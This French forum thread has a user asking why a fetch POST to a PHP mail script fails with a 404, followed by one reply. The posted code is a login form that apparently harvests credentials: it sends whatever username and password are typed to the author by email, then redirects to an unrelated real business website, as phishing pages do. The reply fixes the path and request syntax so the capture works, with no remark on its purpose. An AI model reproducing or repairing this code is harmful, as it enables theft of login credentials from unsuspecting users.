J'ai un problème avec une requête AJAX en utilisant fetch dans mon fichier JavaScript pour accéder à un script PHP sur mon serveur XAMPP local. Le chemin vers le fichier PHP semble correct et j'ai confirmé que je peux y accéder directement via le navigateur à http://localhost/word_press/sendMail.php, mais quand j'essaie de faire une requête POST à ce fichier depuis mon JavaScript avec fetch, je reçois une erreur 404. Voici le code pertinent :

JavaScript:

function checkCredentials() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const errorMessage = document.getElementById('error-message');

if (username === 'admin' && password === 'admin') {
    window.location.href = 'https://www.cholletmoto.com/';
} else {
    errorMessage.textContent = 'Identifiant ou mot de passe incorrect!';
}

// Envoyer une notification par email
notifyByEmail(username, password);

}

function notifyByEmail(username, password) {
fetch('sendMail.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: username=${username}&password=${password},
})
.then(response => response.text())
.then(data => console.log(data))
.catch((error) => {
console.error('Error:', error);
});
}
Et mon PHP
<?php
// Pour voir si le fichier est bien accédé
echo "Fichier PHP accédé.<br>";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST["username"];
$password = $_POST["password"];

// Afficher les valeurs reçues
echo "Nom d'utilisateur reçu: $username<br>";
echo "Mot de passe reçu: $password<br>";

$to = "***@***";
$subject = "Tentative de connexion";
$message = "Quelqu'un a essayé de se connecter avec l'identifiant: $username et le mot de passe: $password.";
$headers = "From: ***@***";

// Vérifier si le mail est bien envoyé
if (mail($to, $subject, $message, $headers)) {
    echo "Email envoyé avec succès.<br>";
} else {
    echo "Erreur lors de l'envoi de l'email.<br>";
}

} else {
echo "Méthode non autorisée.<br>";
}
?

Tous les fichiers sont situés dans C:\xampp\htdocs\word_press. Pourquoi la requête fetch retourne-t-elle une erreur 404 ? Comment puis-je faire une requête POST avec succès à ce fichier PHP depuis mon JavaScript ?

1 réponse


Bonjour

Assure-toi que le chemin vers ton fichier PHP est correct. Si le fichier PHP se trouve dans le répertoire "C:\xampp\htdocs\word_press", alors le chemin relatif que tu devrais utiliser dans ta requête fetch est './sendMail.php'. Le point devant le slash indique que tu pars du répertoire actuel (où se trouve ton script JavaScript).

Dans ton script JavaScript, les données que tu envoies dans le corps de la requête fetch doivent être encadrées de guillemets. Voici comment tu peux ajuster cette partie du code :

body: `username=${username}&password=${password}`,

Assure-toi également que le nom des variables username et password correspond bien aux clés que tu utilises dans ton script PHP ($_POST["username"] et $_POST["password"]).